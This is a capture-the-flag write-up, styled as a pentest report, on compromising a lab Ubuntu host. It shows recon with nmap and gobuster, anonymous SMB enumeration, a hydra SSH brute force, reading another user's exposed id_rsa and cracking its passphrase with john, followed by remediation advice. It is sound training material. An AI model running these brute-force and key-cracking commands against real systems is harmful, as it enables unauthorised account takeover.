Basic Pentesting CTF report

Heolecouzz

October 22 2026

Contents

I Summary **2**

A Overview . . . 2

B Results . . . 2

C Impact . . . 2

D Remediation Direction . . . 2

II Weak password leading to shell access and privilege escalation **3**

A Summary . . . 3

B Attack chain . . . 3

C Remediation steps . . . 6

I Summary

A Overview

In this internal pentesting intrusion test, the aim was to define if the policy was respected and whether an attacker could take control of a workstation. We worked on only one worksatation and the scope was 100% covered.

B Results

We've been able to compromise that worksation, discovering systems misconfigurations.

C Impact

The kill chain used to compromise the worksation could be used on other machine and take control of more privileged users. If an attacker can take control of a more privileged user, it could do whatever he wants on the system, for example retrieve sensitive data, alter data and more...

D Remediation Direction

In order to avoid such terrible scenarios, the company needs to enforce its policy regulation to ensure that the policy is respected. They also could sensibilize more their workers on the risks of not following the policy. Their are quick fixes and don't need a huge investment.

II Weak password leading to shell access and privilege escalation

A Summary

The user doesn't follow the password policy, having weak credentials, making easy for an attacker to crack its password and gain access.

B Attack chain

```
1
2         ( likaKALI )-[~]
3     $    nmap -sV 10.128.129.167
4  Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-21 09:07 -0700
5  Nmap scan report for 10.128.129.167
6  Host is up (0.042s latency).
7  Not shown: 994 closed tcp ports (reset)
8  PORT    STATE SERVICE    VERSION
9  22/tcp  open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
10 80/tcp  open  http       Apache httpd 2.4.41 ((Ubuntu))
11 139/tcp open  netbios-ssn Samba smbd 4
12 445/tcp open  netbios-ssn Samba smbd 4
13 8009/tcp open ajp13      Apache Jserv (Protocol v1.3)
14 8080/tcp open http       Apache Tomcat 9.0.7
15 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
16
17 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18 Nmap done: 1 IP address (1 host up) scanned in 13.34 seconds
```

Listing II.1: Reconnaissance phase

```
1         ( likaKALI )-[~]
2     $    gobuster dir -u http://10.128.129.167:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
3  ===============================================================
4  Gobuster v3.8.2
5  by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
6  ===============================================================
7  [+] Url:                     http://10.128.129.167:80
8  [+] Method:                  GET
9  [+] Threads:                 10
10 [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
11 [+] Negative Status codes: 404
12 [+] User Agent:              gobuster/3.8.2
13 [+] Timeout:                 10s
14 ===============================================================
15 Starting gobuster in directory enumeration mode
16 ===============================================================
17 development        (Status: 301) [Size: 322] [--> http://10.128.129.167/development/]
18 server-status      (Status: 403) [Size: 279]
19 Progress: 220558 / 220558 (100.00%)
20 ===============================================================
21 Finished
22 ===============================================================
```

Listing II.2: Using Gobuster to retrieve URL hidden folders

```
For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K


2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J
```

Listing II.3: 2 messages retrieved from /development URI

```
        ( likaKALI )-[~]
  $    smbclient -L //10.128.129.167 -N

    Sharename      Type      Comment
    ---------      ----      -------
    Anonymous      Disk
    IPC$           IPC       IPC Service (Samba Server 4.15.13-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 10.128.129.167 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

        ( likaKALI )-[~]
  $    smbclient //10.128.129.167/Anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 10:31:20 2018
  ..                                  D        0  Thu Apr 19 10:13:06 2018
  staff.txt                           N      173  Thu Apr 19 10:29:55 2018

       14282840 blocks of size 1024. 6220600 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (1.9 KiloBytes/sec) (average 1.9 KiloBytes/sec)
smb: \> exit

        ( likaKALI )-[~]
  $    cat staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay
```

Listing II.4: Anonymous connection available ending to usernames

```

```

```
        ( likaKALI )-[~]
   $    hydra -f -l jan -P /usr/share/wordlists/rockyou_top10000.txt -t 20 10.128.129.167 ssh
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal
     purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-10-21 10:08:36
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting,
      ./hydra.restore
[DATA] max 20 tasks per 1 server, overall 20 tasks, 10000 login tries (l:1/p:10000), ~500 tries per task
[DATA] attacking ssh://10.128.129.167:22/
[STATUS] 279.00 tries/min, 279 tries in 00:01h, 9727 to do in 00:35h, 14 active
[STATUS] 246.67 tries/min, 740 tries in 00:03h, 9267 to do in 00:38h, 13 active
[22][ssh] host: 10.128.129.167 login: jan password: XXXXXXX
[STATUS] attack finished for 10.128.129.167 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-10-21 10:11:57
```

Listing II.5: Brute forcing ssh login of the user with weak credentials (JAN)

```
jan@ip-10-128-129-167:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv...
-----END RSA PRIVATE KEY-----
```

Listing II.6: Shell access on Jan's account and Kay's id_rsa accessible to everyone

```
        ( likaKALI )-[~/  /Cesure/CTF_Challenges/THM_CTF/Basic_Pentesting]
   $    ssh2john Kay_id_rsa.txt > id_rsa.hash

        ( likaKALI )-[~/  /Cesure/CTF_Challenges/THM_CTF/Basic_Pentesting]
   $    john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
XXXXXXX         (Kay_id_rsa.txt)
1g 0:00:00:00 DONE (2026-10-21 11:14) 6.666g/s 552106p/s 552106c/s 552106C/s bird..aries13
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Listing II.7: Brute forcing kay's id_rsa hash

```
jan@ip-10-128-129-167:/home/kay/.ssh$ ssh -i id_rsa kay@10.128.129.167
Could not create directory '/home/jan/.ssh'.
The authenticity of host '10.128.129.167 (10.128.129.167)' can't be established.
ECDSA key fingerprint is SHA256:+Z9sWT83sVBrBRZHXhia1w7W5P++w0dy90zUTPZZVOA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

```

```
 * Documentation: https://help.ubuntu.com
 * Management:   https://landscape.canonical.com
 * Support:      https://ubuntu.com/pro

 System information as of Wed 21 Oct 2026 02:27:51 PM EDT

  System load: 0.04             Processes:           119
  Usage of /:  50.2% of 13.62GB Users logged in:     1
  Memory usage: 65%             IPv4 address for ens5: 10.128.129.167
  Swap usage:  0%

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.

Last login: Wed Oct 21 14:24:01 2026 from 10.128.129.167
kay@ip-10-128-129-167:~$
```

Listing II.8: Access to Kay's account

C Remediation steps

- Don't let sensitive information on URL that can be accessed or use authentication to access them.
- Don't authorize smb anonymous connections.
- Make the users respect the password policy and re enforce it so that it is automatically detected.
- Don't let anyone see the id_rsa keys. Only the owner should be able to see it, not all users
- Filter with firewalls your incomming connection, so that the first step of reconnaissance is harder for attackers